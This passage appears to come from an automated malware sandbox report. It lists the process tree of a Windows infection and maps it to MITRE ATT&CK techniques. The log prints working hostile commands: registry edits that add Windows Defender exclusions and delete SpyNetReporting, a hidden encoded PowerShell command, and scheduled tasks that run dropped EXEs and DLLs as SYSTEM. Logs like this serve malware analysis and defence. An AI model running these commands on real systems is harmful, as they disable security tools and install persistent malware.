3⤵
PID:5352

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\cKaYGDvIdbsNnMDfsrR" /t REG_DWORD /d 0 /reg:32
3⤵
PID:4764

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\cKaYGDvIdbsNnMDfsrR" /t REG_DWORD /d 0 /reg:64
3⤵
PID:5160

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\iTBLcazoBHNRC" /t REG_DWORD /d 0 /reg:32
3⤵
PID:6128

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\iTBLcazoBHNRC" /t REG_DWORD /d 0 /reg:64
3⤵
PID:5236

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rYNYBiCjmUUn" /t REG_DWORD /d 0 /reg:32
3⤵
PID:4736

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\rYNYBiCjmUUn" /t REG_DWORD /d 0 /reg:64
3⤵
PID:4144

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\hnkumIqTRwUxQLVB /t REG_DWORD /d 0 /reg:32
3⤵
PID:5508

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA /t REG_DWORD /d 0 /reg:32
3⤵
PID:5548

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\hnkumIqTRwUxQLVB /t REG_DWORD /d 0 /reg:64
3⤵
PID:4216

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA /t REG_DWORD /d 0 /reg:64
3⤵
PID:5220

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\RHdUtmclRPrQNqWD /t REG_DWORD /d 0 /reg:32
3⤵
PID:1948

C:\Windows\SysWOW64\reg.exe
"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\RHdUtmclRPrQNqWD /t REG_DWORD /d 0 /reg:64
3⤵
PID:5952

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "glwzvYIJj" /SC once /ST 00:25:47 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
2⤵
- Creates scheduled task(s)
PID:1804

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "glwzvYIJj"
2⤵
PID:4748

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "glwzvYIJj"
2⤵
PID:2504

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "CHeJVxoJwhzmREGSo" /SC once /ST 05:05:46 /RU "SYSTEM" /TR "\"C:\Windows\Temp\RHdUtmclRPrQNqWD\McgkcspSIzRLCAP\yADUnMP.exe\" sG /site_id 525403 /S" /V1 /F
2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:4340

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "CHeJVxoJwhzmREGSo"
2⤵
PID:5228

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:3592

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
2⤵
PID:1932

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:5532

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 2412 -ip 2412
1⤵
PID:832

C:\Windows\Temp\RHdUtmclRPrQNqWD\McgkcspSIzRLCAP\yADUnMP.exe
C:\Windows\Temp\RHdUtmclRPrQNqWD\McgkcspSIzRLCAP\yADUnMP.exe sG /site_id 525403 /S
1⤵
- Executes dropped EXE
- Checks computer location settings
- Drops Chrome extension
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
PID:5688

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "booXbIzkEgfNdKvxAC"
2⤵
PID:1324

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
2⤵
PID:5504

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
3⤵
PID:5604

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
2⤵
PID:5840

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
3⤵
PID:5788

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\QMuGxDzxU\ACWmeV.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "cPyDayBYNpjUpuO" /V1 /F
2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:5076

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "cPyDayBYNpjUpuO2" /F /xml "C:\Program Files (x86)\QMuGxDzxU\xROLWIq.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:4392

C:\Windows\SysWOW64\schtasks.exe
schtasks /END /TN "cPyDayBYNpjUpuO"
2⤵
PID:5196

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "cPyDayBYNpjUpuO"
2⤵
PID:5820

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "CKLLrKbBjRttlf" /F /xml "C:\Program Files (x86)\YhmfbgEUeceU2\uyAJYQc.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:1996

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "QtMzpEnQzbovF2" /F /xml "C:\ProgramData\hnkumIqTRwUxQLVB\ZPmVcOI.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:4548

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "jDcNWoQEywoxNtiMi2" /F /xml "C:\Program Files (x86)\cKaYGDvIdbsNnMDfsrR\iQxIXWT.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:4300

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "DwrQigzmMruJpsQaMBv2" /F /xml "C:\Program Files (x86)\iTBLcazoBHNRC\ObkyWrY.xml" /RU "SYSTEM"
2⤵
- Creates scheduled task(s)
PID:3600

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "oCvyuKWvFtUoYKNPA" /SC once /ST 13:39:16 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\RHdUtmclRPrQNqWD\avIShEoQ\IVHLbcV.dll\",#1 /site_id 525403" /V1 /F
2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:5956

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "oCvyuKWvFtUoYKNPA"
2⤵
PID:4128

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
2⤵
PID:6076

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
3⤵
PID:5052

C:\Windows\SysWOW64\cmd.exe
cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
2⤵
PID:4988

C:\Windows\SysWOW64\reg.exe
REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
3⤵
PID:4284

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "CHeJVxoJwhzmREGSo"
2⤵
PID:4248

C:\Windows\system32\rundll32.EXE
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\RHdUtmclRPrQNqWD\avIShEoQ\IVHLbcV.dll",#1 /site_id 525403
1⤵
PID:5984

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\RHdUtmclRPrQNqWD\avIShEoQ\IVHLbcV.dll",#1 /site_id 525403
2⤵
- Loads dropped DLL
PID:2188

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Bypass User Account Control

T1088

Scheduled Task

Defense Evasion

Modify Registry

Disabling Security Tools

T1089

Bypass User Account Control

T1088

Virtualization/Sandbox Evasion

T1497

Install Root Certificate

T1130

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

Virtualization/Sandbox Evasion

T1497

System Information Discovery